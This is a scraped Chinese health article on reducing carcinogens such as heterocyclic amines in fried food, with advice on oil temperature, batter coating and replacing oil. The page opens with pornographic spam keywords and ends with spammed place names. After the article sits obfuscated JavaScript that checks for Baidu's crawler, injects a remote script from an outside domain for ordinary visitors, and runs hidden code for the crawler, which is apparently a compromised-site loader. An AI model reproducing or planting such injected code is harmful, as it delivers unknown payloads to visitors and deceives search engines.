亚洲肥老太bbw中国熟女,免费男人和女人牲交视频全黄,韩国精品久久久久久,九九精彩视频第一页

當(dāng)前位置:首頁 > 飲食 > 烹飪技巧 > 正文

教你去除煎炸食品的有害物

2017-04-11 09:56:01  來源:360常識網(wǎng)   熱度:
導(dǎo)語:自然界1000多種致癌物中,雜環(huán)胺和多環(huán)芳烴類就占l 8以上。中國預(yù)防醫(yī)學(xué)會的專家們經(jīng)過多年研究證實,煎炸燒烤的肉類及魚肉中含有強致癌物——雜環(huán)胺,這些致癌物的存在,威脅著人們的身體健康。

教你去除煎炸食品的有害物

教你去除煎炸食品的有害物

教你去除煎炸食品的有害物

煎炸食品是人們經(jīng)常食用而又喜愛的食品,許多家庭都會自制各類油炸、煎炸食品。但由于油溫較高,有的煎炸、油炸時油溫超過200℃,這時會分解出大量的雜環(huán)胺、多環(huán)芳烴類等強致癌物。

自然界1000多種致癌物中,雜環(huán)胺和多環(huán)芳烴類就占l/8以上。中國預(yù)防醫(yī)學(xué)會的專家們經(jīng)過多年研究證實,煎炸燒烤的肉類及魚肉中含有強致癌物——雜環(huán)胺,這些致癌物的存在,威脅著人們的身體健康。下面介紹幾種效果較好的消除煎炸食品和油渣中的多種致癌物質(zhì)的有效辦法。

1、煎炸食物時要嚴(yán)格控制油溫,煎炸食品時油溫最好控制在150℃以下,火不要燒得過旺,煎炸魚肉時不要連續(xù)高溫烹炸,要采取經(jīng)常間斷的煎炸方法。

2、煎炸的魚、肉外面掛上一層淀粉糊再煎炸,也能有效預(yù)防雜環(huán)胺和突變源的形成。

3、煎炸食品和油渣一次不可多食,也不宜經(jīng)常過量食用。對于顏色深、太油膩,味道不好和已經(jīng)發(fā)霉變質(zhì)的煎炸食品,不可食用。

4、油炸食品時,油連續(xù)使用不可過長,應(yīng)及時換添新油。

5、經(jīng)油炸食品后的食油要馬上過濾,以除去分解物質(zhì),以延長油脂使用壽命。

6、經(jīng)過反復(fù)煎炸使用的食油含有大量突變源和過氧化脂質(zhì),不可食用。

7、煎炸食品,最好現(xiàn)炸現(xiàn)吃。

轉(zhuǎn)載申明:360常識網(wǎng),歡迎分享,轉(zhuǎn)載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
和平县| 商南县| 定远县| 太湖县| 饶平县| 忻城县| 大新县| 陆河县| 拜城县| 佛坪县| 宣威市| 西平县| 岳阳县| 南阳市| 兰考县| 阿鲁科尔沁旗| 汪清县| 青铜峡市| 涪陵区| 临颍县| 新昌县| 佛冈县| 黄浦区| 探索| 沙湾县| 沂源县| 舒城县| 馆陶县| 改则县| 武穴市| 克拉玛依市| 勐海县| 湘阴县| 敦煌市| 慈利县| 庆元县| 昌都县| 通辽市| 宣城市| 同江市| 苏尼特左旗|